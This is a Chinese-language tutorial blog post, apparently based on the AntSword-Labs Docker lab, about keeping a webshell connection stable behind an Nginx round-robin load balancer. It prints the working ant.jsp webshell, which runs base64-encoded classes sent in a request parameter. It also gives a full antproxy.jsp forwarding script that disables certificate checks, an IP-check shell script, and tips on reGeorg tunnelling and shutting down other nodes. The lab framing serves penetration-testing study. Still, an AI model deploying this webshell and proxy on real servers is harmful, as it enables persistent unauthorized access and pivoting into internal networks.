当前位置: 首页 > news >正文

负载均衡下Webshell连接思路及难点

君衍.

  • 一、应用场景
  • 二、环境搭建
  • 三、思路以及难点
    • 1、查看内部结构
    • 2、查看webshell
    • 3、使用蚁剑进行连接
    • 4、难点1 shell文件上传问题
    • 5、难点2 命令执行时飘逸
    • 6、难点3 大工具上传失败
    • 7、难点4 脚本失效
  • 四、解决方式
    • 1、关闭对方节点服务器
    • 2、基于IP地址判断是否执行
    • 3、脚本实现流量转发
      • 3.1 创建antproxy.jsp脚本
      • 3.2 修改 Shell 配置

一、应用场景

负载均衡是一种分布式计算或网络服务的技术,旨在将工作负载(请求、数据等)均匀分配到多个服务器或网络资源上,以提高整体系统的性能、可靠性和可扩展性。同时负载均衡也是如今解决Web应用承载大流量访问问题得一种普遍方案,实现负载均衡也有多种方式,比如购买负载均衡设备、Nginx实现负载均衡、DNS负载均衡以及IP散列等方式。那么今天我们主要探讨的问题便是在负载均衡环境下进行webshell连接。
首先我们可以看下基于DNS的负载均衡:
在这里插入图片描述
还有nginx的基于反向代理实现的负载均衡:
在这里插入图片描述
我们本篇重点就在反向代理方式,也就是不能直接访问到跑着具体业务的某个节点的情况。
反向代理方式最典型的也就是Nginx所实现的负载均衡,所以,我们首先来看Nginx支持的几种负载均衡方式:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据URL分配

这里典型的主要是轮询以及加权,像这种ip_hash以及url_hash这种固定访问到某个节点的情况我们就没有必要再进行讨论了,所以这里我们使用默认轮询的方式来进行演示,演示环境为AntSword-Labs。本篇我们来看在负载均衡情况下进行上传Webshell的思路,首先我们来搭建环境。

二、环境搭建

准备环境: Ubuntu虚拟机、Docker环境、蚁剑
这里我使用Ubuntu虚拟机版本为22.04版本:

apt-get install docker.io
docker -v

在这里插入图片描述
靶场环境我们使用蚁剑作者提供的docker镜像来演示:
https://github.com/AntSwordProject/AntSword-Labs
在这里插入图片描述
这里我们可以先下载到本机,然后上传至虚拟机,如果嫌配置代理麻烦的话。

unzip AntSword-Labs-master.zip
mv AntSword-Labs-master ant # 这里我改个名字

在这里插入图片描述
下面我们到执行目录来启动靶场环境,同时它会自动拉取镜像:

cd /root/ant/loadbalance/loadbalance-jsp
docker-compose up -d

在这里插入图片描述
我们拉去完毕可以进行查看下:

docker ps -a

在这里插入图片描述
上面三个我们可以看到创建完毕,同时最后那个是我之前进行docker环境测试时候创建的。
自此,我们的环境搭建完毕,下面我们来看负载均衡环境下webshell连接思路以及难点

三、思路以及难点

1、查看内部结构

首先这里我们可以查看下它的compose文件:
在这里插入图片描述
在这里我们可以看到nginx的80端口映射到了主机的18080端口上,同时我们访问your-ip:8080就可以访问到这个环境下的web服务,也可以看到node1以及node2均是tomcat8。
在这里插入图片描述
同时在这个环境下已经上传好了脚本,上图我们可以假设在真实的业务系统下,这里是没有配置页面而已,同时这个业务系统存在一个RCE远程命令执行漏洞,我们已经上传好了脚本,可以获取webshell。

2、查看webshell

这里我们可以查看下上传脚本的位置:

docker ps -a
docker exec -it c995f68db10b /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
exit
docker exec -it 62fbc5b31021 /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
cat ant.jsp
exit

在这里插入图片描述
这里我们很明显可以看到很明显是一个webshell,因为上面有一个接收参数,通过接收参数ant,我们可以连接到上面一串木马。我们只需用蚁剑连就行。他这里我们发现每个节点都有木马,其实上传至一个节点,我们进行多次保存也可以实现多个节点都有。

3、使用蚁剑进行连接

在这里插入图片描述
在这里插入图片描述
完成后点击添加,就可以连接到我们的webshell了。

4、难点1 shell文件上传问题

这里我们以及上传完毕webshell,两台都上传了,所以我们在打开使用时不会出现任何错误,那如果我们只上传一台节点,我们可以来看下这种情况:
(这里我们可以先让一台节点的webshell失效)

root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS                    PORTS                                     NAMES
1be0cf1882e9   nginx:1.17                 "nginx -g 'daemon of…"   31 minutes ago   Up 31 minutes             0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
c995f68db10b   loadbalance-jsp_lbsnode1   "catalina.sh run"        31 minutes ago   Up 31 minutes             8080/tcp                                  loadbalance-jsp-lbsnode1-1
62fbc5b31021   loadbalance-jsp_lbsnode2   "catalina.sh run"        31 minutes ago   Up 31 minutes             8080/tcp                                  loadbalance-jsp-lbsnode2-1
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# find  / -name ant.jsp
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@c995f68db10b:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 12
drwxr-xr-x 2 root root 4096 Jan 29 03:46 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root  316 May 17  2021 ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 20
drwxr-xr-x 1 root root 4096 Jan 29 04:20 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root  316 May 17  2021 ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# 

在这里插入图片描述
在这里插入图片描述
此时我们退出来重新连接会发现刷新目录报错了,这其实是因为我们刷新的时候请求被解析到这台我们修改过的节点服务器上,同时上面没有我们上传上去的脚本文件,所以访问不到,报错代码为404。所以这里如何让我们的webshell分布在各个节点服务器上这个是第一个问题。

这里其实我们也可以做个实验,我们在一台服务器上保存一个文件会发现这个文件时存在时不存在,也可以说明这个问题。

解决: 这里我们多保存几次即可,刷新到脚本目录下狂点保存其实也是可以做到的。所以这个相较于还是比较简单的。

5、难点2 命令执行时飘逸

好的,首先我们先还原服务器:

root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# exitexit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# 

下面我们来看在负载均衡环境下执行命令所遇到的问题,这里会发生漂移现象,不知道命令在哪一台服务器上执行。我们这里到蚁剑上的虚拟终端执行命令:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到一条查看IP地址的命令却发生了结果是变化的,我们就会发现这是在负载均衡的轮询方式下IP的变化,如果在权重方式,节点服务器增多,可能我们就无迹可寻。

当然这里由于在docker环境下,所以很多命令没有安装,ifconfig从而无法使用,这里我们需要在节点服务器上进行安装net-tools,如果在真实的场景下肯定是有ifconfig这个命令的。

6、难点3 大工具上传失败

这里我们在渗透时,需要上传一些工具时必然的,但是由于蚁剑上传文件时,采用的是分片上传,将一个文件分为多个片发送给目标,也就是会发送多个数据包,所以这里我们遇到一个问题,在两台甚至多台节点上,可能会有我们工具的一小部分,至于组合来源于LBS算法。所以这将是我们面临的一个大的问题。
在这里插入图片描述

7、难点4 脚本失效

由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网。

在这里插入图片描述
上图是regerg运行的原理图,但是由于我们的节点服务器会不断变化,所以也就会使攻击者与部署了regerg的主机之间不能保持完整的连接时间,也就无法实现与内网的连接。所以这样的环境下,使用内网工具进行部署也是一个难点。

四、解决方式

在解决第一个难点我们这里其实是可以进行多次保存。来实现webshell上传至所有节点服务器上的。所以我们这里着重讨论剩下几个难点。

1、关闭对方节点服务器

由于对于企业的服务器一个有漏洞,可能几乎剩下的节点服务器上都存在着相同的漏洞,所以这里我们有个最作死的思路就是,渗透进所有节点服务器,将节点服务器关闭,保留一台,这个想法肯定是可以解决我们的问题,但是人在不在就不一定了。

这里我们先不说权限是否足够,一般是情况下是不够的,但是这个实验的环境是docker,所以我们这里是root权限,肯定是足够的,但是,如果在真实的环境中,这里一般不会是root权限,同时,一般企业都有运维人员,同时存在着管理系统,如果一台服务器关闭了,必然会影响别人的业务,同时触发报警,那么毫无疑问,准备承担法律责任,所以这个方法比较作死,但是确实可以解决,风险巨大。

2、基于IP地址判断是否执行

这里我们可能会想到,如果我们在每次执行命令之前,先判断主机的IP地址,不就可以解决命令飘逸,所以这里我们需要写一个shell脚本,同时由于该环境后端是tomcat,所以java也可以。这里我是用shell。

1、由于该环境位于docker,没有ifconfig这个命令,所以这里我们先安装这个命令。

root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                  CREATED             STATUS                    PORTS                                     NAMES
1be0cf1882e9   nginx:1.17                 "nginx -g 'daemon of…"   About an hour ago   Up About an hour          0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
c995f68db10b   loadbalance-jsp_lbsnode1   "catalina.sh run"        About an hour ago   Up About an hour          8080/tcp                                  loadbalance-jsp-lbsnode1-1
62fbc5b31021   loadbalance-jsp_lbsnode2   "catalina.sh run"        About an hour ago   Up About an hour          8080/tcp                                  loadbalance-jsp-lbsnode2-1
113629a6f8e6   hello-world                "/hello"                 14 hours ago        Exited (0) 14 hours ago                                             eloquent_cohen
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# apt-get update
······
root@c995f68db10b:/usr/local/tomcat# apt-get install net-tools
······
root@c995f68db10b:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500inet 172.18.0.2  netmask 255.255.0.0  broadcast 172.18.255.255ether 02:42:ac:12:00:02  txqueuelen 0  (Ethernet)RX packets 4429  bytes 29895346 (29.8 MB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 3968  bytes 233047 (233.0 KB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@c995f68db10b:/usr/local/tomcat# docker exec -it 62fbc5b31021 /bin/bash
bash: docker: command not found
root@c995f68db10b:/usr/local/tomcat# exit
exit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it 62fbc5b31021 /bin/bash
root@62fbc5b31021:/usr/local/tomcat# apt-get update
······
root@62fbc5b31021:/usr/local/tomcat# apt-get install net-tools
······
root@62fbc5b31021:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500inet 172.18.0.3  netmask 255.255.0.0  broadcast 172.18.255.255ether 02:42:ac:12:00:03  txqueuelen 0  (Ethernet)RX packets 4219  bytes 29869959 (29.8 MB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 3218  bytes 186078 (186.0 KB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@62fbc5b31021:/usr/local/tomcat# 

到这里我们已经在两台服务器上都安装了ifconfig这个命令,如下图:
在这里插入图片描述
下面我们将使用grep将IP地址筛选出来:

ifconfig | grep 'inet 172' | awk '{print $2}'

在这里插入图片描述
好的,接下来我们编写shell脚本来完成对IP地址的判断,从而完成命令基于IP地址的执行。
(这里判断完IP地址对于命令执行我们使用id来代表所需执行的命令)
所以下面这个shell就是我们所需的脚本:

#!/bin/bashMYIP=$(ifconfig | grep "inet 172" | awk '{print $2}' | cut -d'/' -f1)if [ "$MYIP" = "172.18.0.2" ]; thenecho "execute command"id
elseecho "try again!!!!"
fi

在这里插入图片描述
在这里插入图片描述
疯狂保存,才可成功,
下面我们增加执行权限。也是多点几次,使他能在两个服务器都执行

chmod +x demo.sh

在这里插入图片描述
在这里插入图片描述
这样我们是能确保我们执行的命令在我们想要的机器上,但是这样执行命令挺麻烦,甚至时常蚁剑的中断内运行会出现问题,在真机上测试正常,所以不推荐使用。

3、脚本实现流量转发

我们使用蚁剑确实没法直接去访问LBSnode1内网IP的8080端口,但是除了nginx访问外,LBSnode2服务器可以访问node1的8080端口。也就是说我们可以写一个脚本来判断流量的目的IP地址,判断不是node1,就将流量转发到node1的ant.jsp即可,这样可以实现稳定连接。
在这里插入图片描述
如上图所示,我们可以看到内网的两台节点服务器是可以进行相互通信的。

curl http://172.18.0.3:8080 -X HEAD -v

所以我们的转发过程大概如下如所示:
在这里插入图片描述
这里我们看这张图,可以看到首先连接请求到达nginx进行负载均衡,然后交给节点服务器进行处理,交给node1,那么它就会访问antproxy.jsp文件,将流量转发到172.18.0.2节点上的ant.jsp,同时如果交给node2,那么它就会访问节点2的antproxy.jsp文件,同样将流量转发给172.18.0.2节点上的ant.jsp文件,从而实现稳定的通信。

3.1 创建antproxy.jsp脚本

这里我们修改转发地址,转发至node的内网IP的目标脚本,访问地址。
在这里插入图片描述
在这里插入图片描述
脚本如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!public static void ignoreSsl() throws Exception {HostnameVerifier hv = new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}@Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}@Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc = SSLContext.getInstance("TLS");sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%><%String target = "http://172.18.0.2:8080/ant.jsp";URL url = new URL(target);if ("https".equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn = (HttpURLConnection)url.openConnection();StringBuilder sb = new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out2 = conn.getOutputStream();DataInputStream in=new DataInputStream(request.getInputStream());byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream = conn.getInputStream();OutputStream out3=response.getOutputStream();int len2 = 0;while ((len2 = inputStream.read(buf)) != -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%>

注意:

  • a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
  • b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本。

3.2 修改 Shell 配置

同时将 URL 部分填写为 antproxy.jsp 的地址
在这里插入图片描述
这下我们进行查看IP地址测试,看还会是否飘逸:
在这里插入图片描述
这里我们可以看到IP地址已经停止飘逸了,也就是说,我们可以稳定连接到节点服务器1了。
在这里插入图片描述
这里我们可以查看下tomcat的日志,可以看到访问成功的数据日志。

tail localhost_access_log.2024-01-29.txt

Node1 和 Node2 通过相互访问 Node1 上的 /ant.jsp 文件,符合 nginx 在此时的负载均衡(LBS)策略。

  • 在优点方面,这种方法具有低权限即可完成的特点。即使权限较高,仍可以通过端口层面直接转发,但与 Plan A 关闭服务的效果相似。在流量方面,该方法仅影响访问 WebShell 的请求,不会影响其他正常业务请求。此外,这种方式还能适配更多的工具。
  • 然而,存在一些缺点。该方案要求“目标 Node”和“其他 Node”之间建立内网互通,如果无法实现内网互通,该方案将失效。因此,确保内网通信安全的加固方案至关重要。

相关文章:

负载均衡下Webshell连接思路及难点

君衍. 一、应用场景二、环境搭建三、思路以及难点1、查看内部结构2、查看webshell3、使用蚁剑进行连接4、难点1 shell文件上传问题5、难点2 命令执行时飘逸6、难点3 大工具上传失败7、难点4 脚本失效 四、解决方式1、关闭对方节点服务器2、基于IP地址判断是否执行3、脚本实现流…...

基于链表实现贪吃蛇游戏

本文中&#xff0c;我们将使用链表和一些Win32 API的知识来实现贪吃蛇小游戏 一、功能 &#xff08;1&#xff09;游戏载入界面 &#xff08;2&#xff09;地图的绘制 &#xff08;3&#xff09;蛇身的移动和变长 &#xff08;4&#xff09;食物的生成 &#xff08;5&…...

Python网络爬虫实战——实验6:Python实现js逆向与加解密

【实验内容】 本实验主要介绍在数据采集过程中对js代码进行分析从而对加密字段进行解密。 【实验目的】 1、理解js逆向工程的概念 2、学会逆向工程中的加解密分析 【实验步骤】 步骤1 理解js逆向工程的概念 步骤2 学会逆向工程中的加解密分析 步骤3 采集广东政府采购网 步…...

【python】使用aiohttp库编写一个简单的异步服务器

1. aiohttp介绍 aiohttp 是一个用于编写异步 HTTP 客户端和服务器的 Python 库。它建立在 Python 的 asyncio 库之上&#xff0c;提供了一种方便的方式来处理异步请求和响应。 官网地址&#xff1a;Welcome to AIOHTTP — aiohttp 3.9.1 documentation 以下是 aiohttp 的一些…...

新手使用代理IP接入代码教程

“实现匿名访问与数据保护在当今互联网高速发展的时代&#xff0c;网络安全和隐私保护成为了越来越重要的议题。代理IP可以隐藏用户的真实IP地址&#xff0c;从而实现匿名访问。为了保护用户的隐私和数据安全&#xff0c;许多网站和应用程序都采用了代理IP技术。” 一、代理IP的…...

JVM问题排查手册

三万字长文&#xff1a;JVM内存问题排查Cookbook 一、Heap快照 # jmap命令保存整个Java堆&#xff08;在你dump的时间不是事故发生点的时候尤其推荐&#xff09; jmap -dump:formatb,fileheap.bin <pid> # jmap命令只保存Java堆中的存活对象, 包含live选项&#xff0c;…...

前端canvas项目实战——简历制作网站(三)——右侧属性栏(线条宽度样式)

目录 前言一、效果展示二、实现步骤1. 实现线条宽度&#xff08;strokeWidth&#xff09;的属性模块2. 实线线条样式&#xff08;strokeDashArray&#xff09;的属性模块3. 意料之外的“联动” 三、Show u the code后记 前言 上一篇博文中&#xff0c;我们初步实现了右侧属性栏…...

字节跳动二面经典题目

前言 语论即为「语兴式论语」&#xff0c;以语录体及对话的形式&#xff0c;沉淀球友实际工作学习中存在的疑难杂症解答&#xff0c;希望能够更好的帮助到球友和粉丝。欢迎关注公众号&#xff1a;语数 本期投稿 本期语数精选来源于球友应对字节跳动二面时候的场景问题 数仓工程…...

微搭低代码从入门到精通01应用介绍

目录 1 学习路线图2 应用介绍3 编辑器介绍总结 低代码的概念于2014年由 Forrester 首次正式提出。其将低代码定义为&#xff1a;能够以“最少的手写代码”和设置快速开发应用、配置和部署业务应用程序。 不同应用厂商的解法不一样&#xff0c;Gartner评估了400多款低代码/无代码…...

论文阅读《thanking frequency fordeepfake detection》

项目链接&#xff1a;https://github.com/yyk-wew/F3Net 这篇论文从频域的角度出发&#xff0c;提出了频域感知模型用于deepfake检测的模型 整体架构图&#xff1a; 1.FAD&#xff1a; 频域感知分解&#xff0c;其实就是利用DCT变换&#xff0c;将空间域转换为频域&#xff…...

ArcgisForJs快速入门

文章目录 0.引言1.前端代码编辑工具2.使用ArcgisForJs创建一个简单应用3.切片地图服务图层4.动态地图服务图层5.地图事件 0.引言 ArcGIS API for JavaScript是一款由Esri公司开发的用于创建WebGIS应用的JavaScript库。它允许开发者通过调用ArcGIS Server的REST API&#xff0c…...

【解决方法】git pull报错ssh: connect to host github.com port 22: Connection timed out

问题 git pull ssh: connect to host github.com port 22: Connection timed out fatal: Could not read from remote repository.解决方法 在C:\Users\username.ssh文件夹下新建config文件&#xff0c;填入以下文本&#xff08;如有则直接在文件最后一行新增&#xff09;&am…...

30天精通Nodejs--第三十天:项目实战-物联网应用

目录 引言架构设计编码创建项目数据服务模拟设备消息接收并保存设备数据后端接口项目启动及接口测试项目启动测试源码地址结语引言 在之前的一系列文章中,我们已系统性地探讨了诸多Node.js相关的技术要点与理论背景。随着知识体系的铺垫到位,我们现在步入了实战环节。接下来…...

java 社区资源管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 java Web社区资源管系统是一套完善的java web信息管理系统 &#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为Mysql5.…...

网络编程套接字(Socket)

为什么需要网络编程??? -丰富的网络资源 每天你在b站上刷着喜欢的up主的视频,实质是通过网络,获取到网络上的一个视频资源 与本地打开文件类似,只是视频文件这个资源来源是网络 所谓的网络编程,其实就是从网络上获取各种数据资源 什么是网络编程?? 网络编程,指的是网络…...

C语言第十一弹---函数(下)

​ ✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】 函数 1、嵌套调用和链式访问 1.1、嵌套调用 1.2、链式访问 2、函数的声明和定义 2.1、单个文件 2.2、多个文件 2.3、static 和 extern 2.3.1、static…...

Unity读书系列《Unity3D游戏开发》——拓展编辑器(一)

文章目录 前言一、扩展Project视图1、右键扩展菜单&#xff08;Asset&#xff09;2、监听事件3、拓展布局 二、扩展Hierarchy视图1、拓展菜单&#xff08;GameObject&#xff09;2、拓展布局3、重写菜单 三、扩展Inspector视图1、扩展原生组件2、扩展继承组件 四、扩展Scene视图…...

【Git】项目管理笔记

文章目录 本地电脑初始化docker报错.gitignoregit loggit resetgit statusgit ls-filesgit rm -r -f --cached拉取仓库文件更新本地的项目报错处理! [rejected] master -> master (fetch first)gitgitee.com: Permission denied (publickey).error: remote origin already e…...

中文词性标注工具pkuseg例子(运行结果,不太好)

pkuseg_demo.md pkuseg 预训练模型 预训练模型science 安装 pip3 install pkuseg cd /rot/pkuseg_home/model/wget https://github.com/lancopku/pkuseg-python/releases/download/v0.0.25/science.zip uzip science.zip -d ./science/ ls /rot/pkuseg_home/model/science/…...

获取URL参数:split方法、URLSearchParams方法示例

在JavaScript中&#xff0c;可以使用多种方法来获取URL参数&#xff0c;其中常用的方法有split()和URLSearchParams()。 使用split()方法获取URL参数&#xff1a; split()方法将字符串分割成数组。可以使用split()方法将URL分割成协议、主机、路径和查询字符串等部分。然后可…...

SparkSql---用户自定义函数UDFUDAF

文章目录 1.UDF2.UDAF2.1 UDF函数实现原理2.2需求:计算用户平均年龄2.2.1 使用RDD实现2.2.2 使用UDAF弱类型实现2.2.3 使用UDAF强类型实现 1.UDF 用户可以通过 spark.udf 功能添加自定义函数&#xff0c;实现自定义功能。 如&#xff1a;实现需求在用户name前加上"Name:…...

系统架构15 - 软件工程(3)

软件过程模型 瀑布模型特点缺点 原型化模型特点两个阶段不同类型注意 螺旋模型V 模型特点 增量模型特点 喷泉模型基于构件的开发模型(CBSD)形式化方法模型敏捷模型特点“适应性” (adaptive) 而非“预设性” (predictive)“面向人的” (People-oriented) 而非“面向过程的” (P…...

两个近期的计算机领域国际学术会议(软件工程、计算机安全):欢迎投稿

近期&#xff0c;受邀担任两个国际学术会议的Special session共同主席及程序委员会成员&#xff08;TPC member&#xff09;&#xff0c;欢迎广大学界同行踊跃投稿&#xff0c;分享最新研究成果。期待这个夏天能够在夏威夷檀香山或者加利福尼亚圣荷西与各位学者深入交流。 SERA…...

(二十一)Flask之上下文管理第二篇(细细扣一遍源码)

每篇前言&#xff1a; &#x1f3c6;&#x1f3c6;作者介绍&#xff1a;【孤寒者】—CSDN全栈领域优质创作者、HDZ核心组成员、华为云享专家Python全栈领域博主、CSDN原力计划作者 &#x1f525;&#x1f525;本文已收录于Flask框架从入门到实战专栏&#xff1a;《Flask框架从入…...

Java项目:基于SSM框架实现的企业员工岗前培训管理系统(ssm+B/S架构+源码+数据库+毕业论文)

一、项目简介 本项目是一套ssm821基于ssm框架实现的企业员工岗前培训管理系统&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Java学习者。 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格…...

深入了解Redis:选择适用于你的场景的持久化方案

自然语言处理的发展 文章目录 自然语言处理的发展强烈推荐前言&#xff1a;Redis提供了几种主要的持久化方案&#xff1a;RDB快照持久化&#xff1a;工作原理&#xff1a; AOF日志文件持久化&#xff1a;混合持久化&#xff1a; 总结强烈推荐专栏集锦写在最后 强烈推荐 前些天…...

【Git配置代理】Failed to connect to github.com port 443 问题解决方法

前言&#xff1a; 在学习代码审计时&#xff0c;有时会需要使用git去拉取代码&#xff0c;然后就出现了如下错误 看过网上很多解决方法&#xff0c;觉得问题的关键还是因为命令行在拉取/推送代码时并没有使用VPN进行代理。 解决办法 &#xff1a; 配置http代理&#xff1a;…...

python提取word文档内容的示例

一、微软Word历史、背景&#xff1a; Word 的特异功能就是把那些应该写成简单的 TXT 或 PDF 格式的文件&#xff0c;变成了既大又慢且难以打开的怪兽&#xff0c;它们经常在系统切换和版本切换中出现格式不兼容&#xff0c;而且因为某些原因在文件内容已经定稿后仍处于可编辑的…...

MarkDown快速入门-以Obsidian编辑器为例

直接上图&#xff0c;左右对应。 首先是基础语法。 # 标题&#xff0c;几个就代表几级标题&#xff1b;* 单个是序号&#xff0c;两个在一起就是斜体&#xff1b;- [ ] 代表任务&#xff0c;注意其中的空格&#xff1b; 然后是表格按钮代码 | 使用中竖线代表表格&#xff0c…...

【计算机网络】协议,电路交换,分组交换

定义了在两个或多个通信实体之间交换的报文格式和次序,以及报文发送和/或接收一个报文或其他事件所采取的动作.网络边缘: 端系统 (因为处在因特网的边缘) 主机 端系统 客户 client服务器 server今天大部分服务器都属于大型数据中心(data center)接入网(access network) 指将端…...